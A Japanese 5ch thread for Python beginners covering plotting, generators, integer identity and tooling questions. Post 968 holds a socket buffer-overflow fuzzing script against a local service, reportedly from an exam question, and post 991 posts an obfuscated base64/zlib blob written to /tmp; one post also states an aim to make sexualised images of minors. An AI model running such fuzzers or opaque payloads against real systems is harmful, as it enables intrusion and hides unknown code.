cf.go_offline()
digits = datasets.load_digits()
df = pd.DataFrame(digits.data)
df["label"] = digits["target"]
X2=TSNE(n_components=2,verbose=True).fit_transform(df.values)
embed2d = pd.DataFrame(X2, columns=list("XY"))
embed2d["label"] = df["label"]
embed2d.iplot(kind="scatter",
x="X", y="Y",
xTitle="X", yTitle="Y",
categories="label",
title="T-SNE 2D demo")
import cufflinks as cf
import numpy as np
from sklearn import datasets
from sklearn.manifold import TSNE
pd.options.display.max_rows=10
plotly.offline.init_notebook_mode(connected=True)
cf.go_offline()
digits = datasets.load_digits()
df = pd.DataFrame(digits.data)
df["label"] = digits["target"]
X2=TSNE(n_components=2,verbose=True).fit_transform(df.values)
embed2d = pd.DataFrame(X2, columns=list("XY"))
embed2d["label"] = df["label"]
embed2d.iplot(kind="scatter",
x="X", y="Y",
xTitle="X", yTitle="Y",
categories="label",
title="T-SNE 2D demo")
880cufflinksを使って、plotlyを動かしても、エラーが出る(泣)
2019/07/10(水) 23:20:09.33ID:p0l6FVVk plotly.offline.init_notebook_mode(connected=True)はいりません。
抜いてくださいね。
抜いてくださいね。
881デフォルトの名無しさん
2019/07/10(水) 23:23:57.07ID:y6DBJPnI とりあえずIDE使うなりなんなりでどのステップでエラー吐いてるのかくらいつきとめて
882880cufflinksを使って、plotlyを動かしても、エラーが出る(泣)
2019/07/10(水) 23:56:28.93ID:p0l6FVVk883デフォルトの名無しさん
2019/07/11(木) 00:46:56.25ID:YHUan2/q よく見てないけど見た感じ2次元データなのにscatter3dみたいなのが呼ばれてる時点で終わってないか
呼び出し方法のリファレンスとか見直してみたら
呼び出し方法のリファレンスとか見直してみたら
884デフォルトの名無しさん
2019/07/11(木) 07:30:33.22ID:rUvTwP2C テトリスがゲームの基礎ですか
885デフォルトの名無しさん
2019/07/11(木) 15:16:27.45ID:zVC+qrY0 アクション要素あるしヘタにグラフィックに凝らなくていいし題材としてはいいと思うよ
886デフォルトの名無しさん
2019/07/11(木) 15:41:30.36ID:rUvTwP2C はい
887デフォルトの名無しさん
2019/07/11(木) 16:12:58.20ID:rUvTwP2C ループのインデックスってのは配列なんですか?
888デフォルトの名無しさん
2019/07/11(木) 16:15:39.60ID:Gm6dRz7s おっぱい
889デフォルトの名無しさん
2019/07/11(木) 16:16:10.02ID:Gm6dRz7s 配列ではない。ただの整数
890デフォルトの名無しさん
2019/07/11(木) 18:33:51.31ID:/3hHfdds なんなんだろうな
よくわからん
ttps://ideone.com/tsc3Z7
def func(x):
ch = x + '.'
while True:
yield ch
ch += ch
i = 0
for x in func('p'):
print str(i) + ':' + x
i += 1
if not i < 5 :
break
↓結果
0:p.
1:p.p.
2:p.p.p.p.
3:p.p.p.p.p.p.p.p.
4:p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.
よくわからん
ttps://ideone.com/tsc3Z7
def func(x):
ch = x + '.'
while True:
yield ch
ch += ch
i = 0
for x in func('p'):
print str(i) + ':' + x
i += 1
if not i < 5 :
break
↓結果
0:p.
1:p.p.
2:p.p.p.p.
3:p.p.p.p.p.p.p.p.
4:p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.p.
891デフォルトの名無しさん
2019/07/11(木) 18:42:23.80ID:dt9f58xR 何を疑問視してるんか知らんが
generator 内の ch は保持される
ch += ch なんてしたら倍々になる罠
generator 内の ch は保持される
ch += ch なんてしたら倍々になる罠
892デフォルトの名無しさん
2019/07/11(木) 18:43:31.76ID:ifB4I4CM プログラムは
願ったようには動かない
書いた通りに動く
願ったようには動かない
書いた通りに動く
893デフォルトの名無しさん
2019/07/11(木) 19:45:39.42ID:vU1ZVKQt なんだ使ってる人間のレベルは
N88BASICの時代から大して進化してないじゃんww
N88BASICの時代から大して進化してないじゃんww
894デフォルトの名無しさん
2019/07/11(木) 23:17:11.57ID:Sk+pnKl4 numpyってすげーな柔軟すぎる
パイだけに
パイだけに
895デフォルトの名無しさん
2019/07/11(木) 23:40:45.70ID:EFuj/0Xm JKのはそんなに柔らかくない
896デフォルトの名無しさん
2019/07/12(金) 08:34:59.43ID:ovV39x3a >>893
当たり前、その時代にガチで使ってた奴は知識も豊富だったし
当たり前、その時代にガチで使ってた奴は知識も豊富だったし
897デフォルトの名無しさん
2019/07/12(金) 10:43:53.22ID:GS7IQlTp できないことになっていることをむりやり可能にする時代だったからなw
898デフォルトの名無しさん
2019/07/12(金) 16:25:38.56ID:mI2upGHk アロー演算子って一般的に何につかうんです?
899デフォルトの名無しさん
2019/07/13(土) 00:15:02.94ID:rbeTwuTm 今 Java でさえラムダ式あるし、単に簡易的な関数オブジェクトのシュガーシンタックスでしょう
簡単に書けるから見やすい
関数オブジェクトをよく使う場面といえばリスナーでしょうね
ボタンのリスナーとかね
簡単に書けるから見やすい
関数オブジェクトをよく使う場面といえばリスナーでしょうね
ボタンのリスナーとかね
900デフォルトの名無しさん
2019/07/13(土) 00:21:08.86ID:0xv7aUZc やだこの人まじめに答えてる。恥ずかしいヤツ
901デフォルトの名無しさん
2019/07/13(土) 00:21:18.82ID:pKBXZxvI -> って関数の戻り値の型を明示するのに使うやつのことじゃないの?
902デフォルトの名無しさん
2019/07/13(土) 05:33:29.40ID:ip8BcQSC 明示するとバグが少なくなるからかしら?
903デフォルトの名無しさん
2019/07/13(土) 09:33:48.95ID:0Ew+gCnq904デフォルトの名無しさん
2019/07/13(土) 11:50:42.40ID:h87sv6fM アロー"演算子"なんてそもそもpythonに無くない?
アロー"式"なら調べると出てくるけども
アロー"式"なら調べると出てくるけども
905デフォルトの名無しさん
2019/07/13(土) 13:08:20.84ID:msOUV5Na アロー式も出てこないぞ。jsの記事を引っ掛けてるんじゃないか?
906デフォルトの名無しさん
2019/07/13(土) 15:07:27.48ID:H4ToI7wx 敢えて分類するなら、separator(,とか括弧とかと同類)か?
907デフォルトの名無しさん
2019/07/13(土) 16:16:38.27ID:EJ16K1Ps Jythonとかいうの触らせられてるけどPythonと何が違うの?
まあ、Pythonも知らんのだけど
まあ、Pythonも知らんのだけど
908デフォルトの名無しさん
2019/07/13(土) 16:30:02.69ID:ip8BcQSC windowsアプリ作るのならどういう環境がいいんでしょうか
visual studioがちょっと自分の環境では重いんです
vs codeならなんとか行ける感じです(といってもこっちはメモリ食いますが、、、)
visual studioがちょっと自分の環境では重いんです
vs codeならなんとか行ける感じです(といってもこっちはメモリ食いますが、、、)
909デフォルトの名無しさん
2019/07/13(土) 20:03:55.79ID:Ge3rT0UH C#
910デフォルトの名無しさん
2019/07/13(土) 20:07:27.60ID:006l8Xk5 みもふたもないけどそれだな
911デフォルトの名無しさん
2019/07/13(土) 20:37:46.99ID:EdaTEXa+ ちょっと前までは、Winアプリ作りたい初心者が間違って入ってきてしまう言語の筆頭はJavaだったんだけどな
最近はPythonが持ち上げられすぎてこういう悲劇も増えてきたね
最近はPythonが持ち上げられすぎてこういう悲劇も増えてきたね
912デフォルトの名無しさん
2019/07/13(土) 20:41:10.20ID:F8Z86WO1 まあ作ろうと思えば出来ちゃうからね
913デフォルトの名無しさん
2019/07/13(土) 20:47:30.93ID:h87sv6fM >>908
質問が非常に分かりにくい。
・クソPCでも動く開発ソフトウェアはどういうものがあるのか
・どういうハード環境ならVSやVSCodeが動くのか
のどっちにも取れてしまう質問の仕方。
あとそもそも「環境」なんて曖昧な質問書くなら今の環境(スペックやソフト)を書け。
もう既に出てるが、
今の情報量だけでは「そのクソPCを捨ててVS入れてC++なりC#書いとけ」と俺も思う。
質問が非常に分かりにくい。
・クソPCでも動く開発ソフトウェアはどういうものがあるのか
・どういうハード環境ならVSやVSCodeが動くのか
のどっちにも取れてしまう質問の仕方。
あとそもそも「環境」なんて曖昧な質問書くなら今の環境(スペックやソフト)を書け。
もう既に出てるが、
今の情報量だけでは「そのクソPCを捨ててVS入れてC++なりC#書いとけ」と俺も思う。
914デフォルトの名無しさん
2019/07/13(土) 21:01:11.91ID:NBxLeFlD スクリプト言語でGUIアプリ作りたいならelectronの方が楽だろうしなぁ
915デフォルトの名無しさん
2019/07/13(土) 21:21:34.15ID:0Ew+gCnq >>913
お前、いいヤツだなw
お前、いいヤツだなw
916デフォルトの名無しさん
2019/07/13(土) 21:26:33.97ID:yGke4EkL みなさんpcは何をお使いですか?
ちなみに学生の私はレノボideapad 530sです
ちなみに学生の私はレノボideapad 530sです
917デフォルトの名無しさん
2019/07/13(土) 21:45:00.71ID:F8Z86WO1 中国製ですか……
918デフォルトの名無しさん
2019/07/13(土) 22:25:22.75ID:I/XdKtLL >>916
MacBook Pro
MacBook Pro
919デフォルトの名無しさん
2019/07/13(土) 22:43:55.86ID:zZsOY8Sg >>918
ヒューッ
ヒューッ
920デフォルトの名無しさん
2019/07/13(土) 22:59:20.22ID:R4BuIAVq いまRaspberry Pi3にPython環境をセットアップしてるところ
921デフォルトの名無しさん
2019/07/14(日) 00:09:16.85ID:z+JtvhZQ それディープラーニングできる?大丈夫?
922デフォルトの名無しさん
2019/07/14(日) 01:27:31.41ID:PB/8UprD __init__とreturnがないdefはどちらも変数が初期化されるから、ほぼ同じ働きって事だよね?
923デフォルトの名無しさん
2019/07/14(日) 01:31:58.99ID:YF+u+8v3 RaspiでPython使う目的が自動制御と機械制御だから
ディープラーニングの性能限界は知らない
ディープラーニングの性能限界は知らない
924デフォルトの名無しさん
2019/07/14(日) 01:42:03.82ID:nNAa2jo7 >>922
何の話か分からないのでもっと具体的に
何の話か分からないのでもっと具体的に
925デフォルトの名無しさん
2019/07/15(月) 07:35:08.84ID:5DmYxF6F 言語は色々やるべきですか?
ゲームエンジンやりながら、firefoxのアドオンやってつ
ゲームエンジンやりながら、firefoxのアドオンやってつ
926デフォルトの名無しさん
2019/07/15(月) 08:08:47.78ID:Lt79u998927デフォルトの名無しさん
2019/07/15(月) 08:55:44.21ID:sSqb6lN3 だいたいの人は3ヶ月以内にプログラミングに飽きるから
第二言語やるとしてもそれを乗り越えてからでいいよ
第二言語やるとしてもそれを乗り越えてからでいいよ
928デフォルトの名無しさん
2019/07/15(月) 09:35:58.71ID:3kssHGHN こういう香具師が7payみたいなチョン簿システム造っちゃうんだろうな
929デフォルトの名無しさん
2019/07/15(月) 14:16:33.64ID:reKP8a27 >>928
あれは、どう考えても経営者が悪い
あれは、どう考えても経営者が悪い
930デフォルトの名無しさん
2019/07/15(月) 17:08:33.76ID:SF1HcbFh こ、香具師・・・・・
931デフォルトの名無しさん
2019/07/16(火) 20:58:52.69ID:6+TKArvY a = 1
b = 1
a is b
↑がTrueになるのはなぜですか?
aとbは違うオブジェクトなのでFalseになるのかと思ったのですが
試しに b = 2 にしてみると False になりましたが、isは値を比較することもあるのですか?
b = 1
a is b
↑がTrueになるのはなぜですか?
aとbは違うオブジェクトなのでFalseになるのかと思ったのですが
試しに b = 2 にしてみると False になりましたが、isは値を比較することもあるのですか?
932デフォルトの名無しさん
2019/07/16(火) 21:12:20.25ID:19NsgmQw 違う
isはあくまでも参照を比較する
間違っているのは「aとbは違うオブジェクト」の部分
CPythonはパフォーマンス目的で-5から256までの整数をシングルトンで確保しており、
通常はそれらの数字が新たなオブジェクトとして生成されることはない
だからisで比較してもTrueになる
isはあくまでも参照を比較する
間違っているのは「aとbは違うオブジェクト」の部分
CPythonはパフォーマンス目的で-5から256までの整数をシングルトンで確保しており、
通常はそれらの数字が新たなオブジェクトとして生成されることはない
だからisで比較してもTrueになる
933デフォルトの名無しさん
2019/07/16(火) 21:19:47.90ID:6+TKArvY934デフォルトの名無しさん
2019/07/16(火) 21:20:50.88ID:/Cc9wbE1 a = 1
b = 1
id(a)
id(b)
id(1)
全部同じ値が出力される
a = 257
b = 257
id(a)
id(b)
id(257)
全部違う値が出力される
b = 1
id(a)
id(b)
id(1)
全部同じ値が出力される
a = 257
b = 257
id(a)
id(b)
id(257)
全部違う値が出力される
935デフォルトの名無しさん
2019/07/16(火) 22:56:04.98ID:/UEzyRoP これ定期的にでてくるけど、オブジェクトと実装への理解に繋がるので別にいいかなって思います
936デフォルトの名無しさん
2019/07/16(火) 22:58:40.34ID:cpfSTA9t 気のせいかもしれないが
やはり速度求める人多いな
Numpy pypy使う記事も多い
やはり速度求める人多いな
Numpy pypy使う記事も多い
937デフォルトの名無しさん
2019/07/17(水) 01:39:49.83ID:yLfGM6yM ご存知の方いらっしゃったら教えてください。
pythonでプチDTMやるんだったら
どんなモジュールがおすすめですか?
短い感じMIDI作曲でも構いません。よろしくお願いします。
pythonでプチDTMやるんだったら
どんなモジュールがおすすめですか?
短い感じMIDI作曲でも構いません。よろしくお願いします。
938デフォルトの名無しさん
2019/07/17(水) 03:46:10.28ID:CnOvxrJv >>932
後半初めて知った
後半初めて知った
939デフォルトの名無しさん
2019/07/17(水) 07:33:56.46ID:MynlIz/m >>937
DTMやるんだったら、DTMソフト買ってやるのが一番
DTMやるんだったら、DTMソフト買ってやるのが一番
940デフォルトの名無しさん
2019/07/17(水) 11:01:56.46ID:4cdZ3DGb 最近この手の漠然とした素なのか釣りや煽りなのか
なんでPythonでやろうとしてるのかわからんのが多いね。
逆になにをやらせたいの?
GUIでシーケンサとかMMLコンパイルとか?
「短い感じMIDI作曲」が何のことだかもわからん
>939も言ってるけど専用のソフトでなんでやらないのかね
なんでPythonでやろうとしてるのかわからんのが多いね。
逆になにをやらせたいの?
GUIでシーケンサとかMMLコンパイルとか?
「短い感じMIDI作曲」が何のことだかもわからん
>939も言ってるけど専用のソフトでなんでやらないのかね
941デフォルトの名無しさん
2019/07/17(水) 11:08:14.52ID:/8sLIy/Y アルゴリズミック・コンポジション的な事?
942デフォルトの名無しさん
2019/07/17(水) 11:38:51.18ID:VxoalK+j DTMやるなら無料・クロスプラットホームのLMMSだよ!
943デフォルトの名無しさん
2019/07/17(水) 13:43:56.90ID:FD/sfaX1944デフォルトの名無しさん
2019/07/17(水) 13:46:29.28ID:X0k3NC82 DTMがメインなのではなくてPythonの勉強の題材としたいという話では
他人がPythonを何に使うのかという事にはケチ付ける必要は無いと思う
他人がPythonを何に使うのかという事にはケチ付ける必要は無いと思う
945デフォルトの名無しさん
2019/07/17(水) 14:06:30.69ID:0nofNBEy 大量に曲を学習して新曲吐かせるのは趣味か実験としてはちょっと楽しいかもね。
946デフォルトの名無しさん
2019/07/17(水) 14:09:49.20ID:0nofNBEy にしてもDAWはひとつくらい使えたほうが便利。
LMMSは自分もおすすめ。
LMMSは自分もおすすめ。
947デフォルトの名無しさん
2019/07/17(水) 20:26:16.71ID:LDdW0VCl LMMSは使ったことあるけどフリーにしては良く出来てたな
まぁ俺はFL Studio使うけど
まぁ俺はFL Studio使うけど
948デフォルトの名無しさん
2019/07/17(水) 23:09:08.99ID:Pp4wfZXK winアプリ開発許さないおじさん増えたよね
949デフォルトの名無しさん
2019/07/18(木) 00:03:02.80ID:aVBxdiyT 別に構わないんだけど今Windowsに拘る理由がない
950デフォルトの名無しさん
2019/07/18(木) 00:56:24.76ID:cMXYIInr 配列の先頭の値をとるのは[0]以外に書き方ない?
951デフォルトの名無しさん
2019/07/18(木) 01:03:25.83ID:15OtSxUH >>950
なぜそれだといかんの?
なぜそれだといかんの?
952デフォルトの名無しさん
2019/07/18(木) 01:13:39.91ID:cMXYIInr 他の言語だとheadとかあるじゃん
そういうのないかなと思って
そういうのないかなと思って
953デフォルトの名無しさん
2019/07/18(木) 01:18:27.23ID:/biP2h00 *aでも0[a]でも好きに書いたら良いじゃない
954デフォルトの名無しさん
2019/07/18(木) 01:21:59.08ID:ixQnk4MT There should be one-- and preferably only one --obvious way to do it.
@import this
@import this
955デフォルトの名無しさん
2019/07/18(木) 01:40:39.28ID:ZY6yayDo a[-len(a)]
956デフォルトの名無しさん
2019/07/18(木) 07:52:25.15ID:wt4KLm9c https://docs.python.org/ja/3/tutorial/controlflow.html#the-range-function
>組み込み関数 range() が便利です。
これタイポだよね?
rangeってクラスでしょ
>組み込み関数 range() が便利です。
これタイポだよね?
rangeってクラスでしょ
957デフォルトの名無しさん
2019/07/18(木) 11:46:44.98ID:NKkoL56O Python2のときは
>>> type(range)
<type 'builtin_function_or_method'>
>>> type(xrange)
<type 'type'>
だから、3用に書き換えたときにに書き換え忘れたのかもね。
>>> type(range)
<type 'builtin_function_or_method'>
>>> type(xrange)
<type 'type'>
だから、3用に書き換えたときにに書き換え忘れたのかもね。
958デフォルトの名無しさん
2019/07/18(木) 12:26:41.99ID:wt4KLm9c そういうことか
list()も関数と呼んでるんだよな
list()も関数と呼んでるんだよな
959デフォルトの名無しさん
2019/07/18(木) 12:30:59.38ID:0kCblb2b 理想的には関数であるべきかクラスであるべきか、の宗教論争になる
960デフォルトの名無しさん
2019/07/18(木) 22:08:41.79ID:JZFbYeti 悪意ある「Python」ライブラリーがPyPIで発見される--研究者が報告
Catalin Cimpanu(Special to ZDNet.com) 翻訳校正:編集部 2019年07月18日 11時12分
https://japan.zdnet.com/article/35140047/
セキュリティ企業のReversingLabsは、悪意ある「Python」ライブラリーが公式の
「Python Package Index」(PyPI)にアップロードされていることを発見した。
これら3つのパッケージ(「libpeshnx」「libpesh」「libari」)は、同じユーザー
(名前はruri12)によって作成されており、2017年11月以降、20カ月近くにわたってPyPI
からダウンロード可能な状態にあった。2019年7月に入って、これらのパッケージは、
ReversingLabsのセキュリティ研究者らによって発見された。
ReversingLabsは7月9日、PyPIのリポジトリメンテナーに通報し、PyPIのセキュリティ
チームはその日のうちにこれらのパッケージを削除した。(中略)
ReversingLabsによると、バックドアはインタラクティブシェルであり、攻撃者はそれを
使って、3つのパッケージがインストールされたコンピューターに接続し、コマンドを実行
した可能性があるという。
ReversingLabsが3つのパッケージを見つけたとき、バックドアはlibpeshnxでのみアク
ティブになっていたが、ほかの2つのパッケージ(libpeshとlibari)には「コードのない
悪意ある関数への参照」が含まれていた。このことは、作者がバックドアを削除したか、
あるいは、ほかの2つのパッケージのバックドアを含むバージョンをロールアウトする準備
を進めていた可能性を示唆している。
Catalin Cimpanu(Special to ZDNet.com) 翻訳校正:編集部 2019年07月18日 11時12分
https://japan.zdnet.com/article/35140047/
セキュリティ企業のReversingLabsは、悪意ある「Python」ライブラリーが公式の
「Python Package Index」(PyPI)にアップロードされていることを発見した。
これら3つのパッケージ(「libpeshnx」「libpesh」「libari」)は、同じユーザー
(名前はruri12)によって作成されており、2017年11月以降、20カ月近くにわたってPyPI
からダウンロード可能な状態にあった。2019年7月に入って、これらのパッケージは、
ReversingLabsのセキュリティ研究者らによって発見された。
ReversingLabsは7月9日、PyPIのリポジトリメンテナーに通報し、PyPIのセキュリティ
チームはその日のうちにこれらのパッケージを削除した。(中略)
ReversingLabsによると、バックドアはインタラクティブシェルであり、攻撃者はそれを
使って、3つのパッケージがインストールされたコンピューターに接続し、コマンドを実行
した可能性があるという。
ReversingLabsが3つのパッケージを見つけたとき、バックドアはlibpeshnxでのみアク
ティブになっていたが、ほかの2つのパッケージ(libpeshとlibari)には「コードのない
悪意ある関数への参照」が含まれていた。このことは、作者がバックドアを削除したか、
あるいは、ほかの2つのパッケージのバックドアを含むバージョンをロールアウトする準備
を進めていた可能性を示唆している。
961デフォルトの名無しさん
2019/07/18(木) 22:12:13.82ID:/biP2h00 ルリルリ
962デフォルトの名無しさん
2019/07/18(木) 23:33:11.30ID:ixQnk4MT963デフォルトの名無しさん
2019/07/19(金) 23:56:12.27ID:f2UtXuai964デフォルトの名無しさん
2019/07/20(土) 05:54:56.19ID:bpLSWw1y エモいITキッズフェスが割とヤバ目なので寄付しろ
https://twitter.com/kondo_orange/status/1084963372624420864?s=21
https://twitter.com/kondo_orange/status/1147771514881601536?s=21
チャイルドフィルター、白Zでおなじみサイバーセキュリティ財団 宮脇プレゼンツ
https://csf.or.jp/about/
https://twitter.com/biwam/status/1108021515117715461?s=21
https://twitter.com/garhitech/status/1088991484978724865?s=21
https://twitter.com/jellyfishmovie/status/1126480155960983552?s=21
https://twitter.com/iteenslab/status/820544834310062081?s=21
https://readyfor.jp/projects/exakids2019
https://twitter.com/kondo_orange/status/1091538007633518592?s=21
https://twitter.com/5chan_nel (5ch newer account)
https://twitter.com/kondo_orange/status/1084963372624420864?s=21
https://twitter.com/kondo_orange/status/1147771514881601536?s=21
チャイルドフィルター、白Zでおなじみサイバーセキュリティ財団 宮脇プレゼンツ
https://csf.or.jp/about/
https://twitter.com/biwam/status/1108021515117715461?s=21
https://twitter.com/garhitech/status/1088991484978724865?s=21
https://twitter.com/jellyfishmovie/status/1126480155960983552?s=21
https://twitter.com/iteenslab/status/820544834310062081?s=21
https://readyfor.jp/projects/exakids2019
https://twitter.com/kondo_orange/status/1091538007633518592?s=21
https://twitter.com/5chan_nel (5ch newer account)
965デフォルトの名無しさん
2019/07/20(土) 06:10:38.24ID:1p062bPE なにこの集団ちんどん屋かな?w
966デフォルトの名無しさん
2019/07/20(土) 07:03:51.33ID:RdS7+qpt pytorchの解説がどれもむずかしいのですが、初心者ははじめに何やれば良いんでしょうか
最終目的はaiでロリ画像を作ることです
最終目的はaiでロリ画像を作ることです
967デフォルトの名無しさん
2019/07/20(土) 08:15:40.55ID:P9wbpcK8968デフォルトの名無しさん
2019/07/20(土) 12:06:50.56ID:DSdlNNWZ これバッファオーバーフロー起こすとかで実行してみたんだが、全くそんな様子はない
どっか文法間違ってる?
import socket
buffer=["A"]
counter=50
while len(buffer) <=100:
buffer.append("A"*counter)
counter=counter+50
commands=["HELP", "STATS.", "RTIME.", "ITIME.", "SRUN.","TRUN.", "GMON.",
"GDOG.", "KSTET.", "GTER.", "HTER.", "LTER.", "KSTAN."]
for command in commands:
for buffstring in buffer:
print ("Exploiting" +command+":"+str(len(buffstring)))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',135))
s.recv(50)
s.send(command+buffstring)
s.close()
どっか文法間違ってる?
import socket
buffer=["A"]
counter=50
while len(buffer) <=100:
buffer.append("A"*counter)
counter=counter+50
commands=["HELP", "STATS.", "RTIME.", "ITIME.", "SRUN.","TRUN.", "GMON.",
"GDOG.", "KSTET.", "GTER.", "HTER.", "LTER.", "KSTAN."]
for command in commands:
for buffstring in buffer:
print ("Exploiting" +command+":"+str(len(buffstring)))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',135))
s.recv(50)
s.send(command+buffstring)
s.close()
969デフォルトの名無しさん
2019/07/20(土) 12:08:04.60ID:DSdlNNWZ ちなみに消えちゃってるがちゃんとforの後のインデントや冒頭スペースは入れてる
970デフォルトの名無しさん
2019/07/20(土) 12:34:25.27ID:e0GouTyf 全バージョンで?
971デフォルトの名無しさん
2019/07/20(土) 12:52:58.13ID:yIzn2tUG 触ったことないんだけどAIで使うって聞いて、遅いって聞いて、は?と思ったら
遅いから数学関数を多数用意したところ、数学関数を多用するAIに向いてると
あとインデント式は普通の開発には厄介な面もあるけど、
ひたすら論理の整理が必要なAIには視認性が良くて便利なのかね
遅いから数学関数を多数用意したところ、数学関数を多用するAIに向いてると
あとインデント式は普通の開発には厄介な面もあるけど、
ひたすら論理の整理が必要なAIには視認性が良くて便利なのかね
972デフォルトの名無しさん
2019/07/20(土) 13:06:10.76ID:gi8tQNT4 >>971
Rubyよりマシだから
Rubyよりマシだから
973デフォルトの名無しさん
2019/07/20(土) 13:08:21.22ID:P9wbpcK8974デフォルトの名無しさん
2019/07/20(土) 13:08:56.78ID:P9wbpcK8 >>971
もっとしらべてからでなおしてきましょう
もっとしらべてからでなおしてきましょう
975デフォルトの名無しさん
2019/07/20(土) 14:00:42.75ID:yIzn2tUG 何が気に入らんのかねこの基地外はw
977デフォルトの名無しさん
2019/07/20(土) 16:51:17.49ID:enH3UtlX 971の前半のガイジ臭やべえ
978デフォルトの名無しさん
2019/07/20(土) 17:31:12.31ID:P9wbpcK8 アスペというよりADHD系だな
979デフォルトの名無しさん
2019/07/20(土) 18:05:53.13ID:MLRoJe+u980デフォルトの名無しさん
2019/07/20(土) 18:21:08.11ID:ppdy8tl0 臭う
●buffer=["A"]
●buffer.append("A"*counter)
●for buffstring in buffer:
●print ("Exploiting" +command+":"+str(len(buffstring)))
一酸化炭素くさい
●buffer=["A"]
●buffer.append("A"*counter)
●for buffstring in buffer:
●print ("Exploiting" +command+":"+str(len(buffstring)))
一酸化炭素くさい
981デフォルトの名無しさん
2019/07/20(土) 18:34:39.82ID:P9wbpcK8 >>979
_, ._
( ゚ Д゚)っ >環境(Pythonのバージョン・OS・IDEの種類とバージョン)をシッカリ書く
たしか
さいきんのPython3系は簡単お手軽なバッファオーバーフローができないように
セキュリティホールふさいだとかなんとかいう
_, ._
( ゚ Д゚)っ >環境(Pythonのバージョン・OS・IDEの種類とバージョン)をシッカリ書く
たしか
さいきんのPython3系は簡単お手軽なバッファオーバーフローができないように
セキュリティホールふさいだとかなんとかいう
982デフォルトの名無しさん
2019/07/20(土) 20:10:18.56ID:P9wbpcK8983デフォルトの名無しさん
2019/07/20(土) 20:40:20.56ID:P9wbpcK8984デフォルトの名無しさん
2019/07/20(土) 21:30:17.02ID:MLRoJe+u >>982
サンクスコ!なんとなくWhile文がAの参照の悪さをしてそうでつね!
サンクスコ!なんとなくWhile文がAの参照の悪さをしてそうでつね!
985デフォルトの名無しさん
2019/07/20(土) 22:03:12.00ID:P9wbpcK8986デフォルトの名無しさん
2019/07/20(土) 22:33:54.07ID:zBgCRbaT >>980
一酸化炭素は無臭だから怖い
一酸化炭素は無臭だから怖い
987デフォルトの名無しさん
2019/07/20(土) 22:42:14.22ID:P9wbpcK8 >>986
(`・ω・´)っ◇ 座布団1枚!
(`・ω・´)っ◇ 座布団1枚!
988デフォルトの名無しさん
2019/07/20(土) 23:38:50.97ID:MLRoJe+u >>985
大サンクスコヽ(`Д´)ノ
ぶっちゃけると、どっかのセキュリティベンダー試験のWeb問題の中の、バッファオーバーフローをテーマにした問題で、
BOFを引き起こす意図であろうPython文が画像になっていて、その文字も曖昧なコード部分をいったい全部手書きにしたもの
大サンクスコヽ(`Д´)ノ
ぶっちゃけると、どっかのセキュリティベンダー試験のWeb問題の中の、バッファオーバーフローをテーマにした問題で、
BOFを引き起こす意図であろうPython文が画像になっていて、その文字も曖昧なコード部分をいったい全部手書きにしたもの
989デフォルトの名無しさん
2019/07/21(日) 05:13:00.04ID:utEuQb4D990デフォルトの名無しさん
2019/07/21(日) 08:15:24.48ID:LZnzMQmE これネットワーク攻撃用のコードで、BOFが起きるのは相手先のサービスなのでは
991デフォルトの名無しさん
2019/07/21(日) 12:25:10.85ID:pUigi9Rs a='eJyLMPVXDFB1cAyINokJiIowNdEIiNM0d3bWNK9VcfV0dgzSDQ5x9HNxDHLRdfQL8QzzDAoN1g1xDQ7RdfP0cVVU8dD20AIAdFQSDw=='
open('/tmp/txt', 'w').write(zlib.decompress(base64.b64decode(a)))
open('/tmp/txt', 'w').write(zlib.decompress(base64.b64decode(a)))
992デフォルトの名無しさん
2019/07/21(日) 12:56:34.65ID:utEuQb4D >>991
やめーやwwwww
やめーやwwwww
993デフォルトの名無しさん
2019/07/21(日) 13:25:44.57ID:pX/j+UhJ 圧縮した方がデカくなってしまったな
994デフォルトの名無しさん
2019/07/21(日) 13:38:48.79ID:utEuQb4D995デフォルトの名無しさん
2019/07/21(日) 14:11:43.62ID:ujIu4Dcu >>991
これは何してるの(´・ω・)?
これは何してるの(´・ω・)?
996デフォルトの名無しさん
2019/07/21(日) 14:15:12.38ID:utEuQb4D >>991
ヒント
・これだけでは不完全なので動かない
足りないimportはいくつでしょーか
・たぶん1か所だけぼみょうにまちがっつる
半角1文字足りない
ヒント
・これだけでは不完全なので動かない
足りないimportはいくつでしょーか
・たぶん1か所だけぼみょうにまちがっつる
半角1文字足りない
997デフォルトの名無しさん
2019/07/21(日) 14:16:07.95ID:utEuQb4D998デフォルトの名無しさん
2019/07/21(日) 14:23:23.00ID:vUdOQrA4 要するにブラクラかなんかで存在自体が犯罪かなんかだろ
999デフォルトの名無しさん
2019/07/21(日) 14:28:14.29ID:utEuQb4D >>998
>存在自体が犯罪かなんか
なかなかいい発想だが
だったら>>992で芝生はやしてワロテる暇ないから(・∀・)
>>次スレ
Pythonのお勉強 Part61
http://mevius.5ch.net/test/read.cgi/tech/1563622784/
>存在自体が犯罪かなんか
なかなかいい発想だが
だったら>>992で芝生はやしてワロテる暇ないから(・∀・)
>>次スレ
Pythonのお勉強 Part61
http://mevius.5ch.net/test/read.cgi/tech/1563622784/
1000デフォルトの名無しさん
2019/07/21(日) 14:46:11.73ID:m/GaQUZU おつ
10011001
Over 1000Thread このスレッドは1000を超えました。
新しいスレッドを立ててください。
life time: 82日 6時間 11分 48秒
新しいスレッドを立ててください。
life time: 82日 6時間 11分 48秒
10021002
Over 1000Thread 5ちゃんねるの運営はプレミアム会員の皆さまに支えられています。
運営にご協力お願いいたします。
───────────────────
《プレミアム会員の主な特典》
★ 5ちゃんねる専用ブラウザからの広告除去
★ 5ちゃんねるの過去ログを取得
★ 書き込み規制の緩和
───────────────────
会員登録には個人情報は一切必要ありません。
月300円から匿名でご購入いただけます。
▼ プレミアム会員登録はこちら ▼
https://premium.5ch.net/
▼ 浪人ログインはこちら ▼
https://login.5ch.net/login.php
運営にご協力お願いいたします。
───────────────────
《プレミアム会員の主な特典》
★ 5ちゃんねる専用ブラウザからの広告除去
★ 5ちゃんねるの過去ログを取得
★ 書き込み規制の緩和
───────────────────
会員登録には個人情報は一切必要ありません。
月300円から匿名でご購入いただけます。
▼ プレミアム会員登録はこちら ▼
https://premium.5ch.net/
▼ 浪人ログインはこちら ▼
https://login.5ch.net/login.php
レス数が1000を超えています。これ以上書き込みはできません。
ニュース
- 中国国営メディア「沖縄は日本ではない」… ★3 [BFU★]
- 中国国営メディア「沖縄は日本ではない」… ★2 [BFU★]
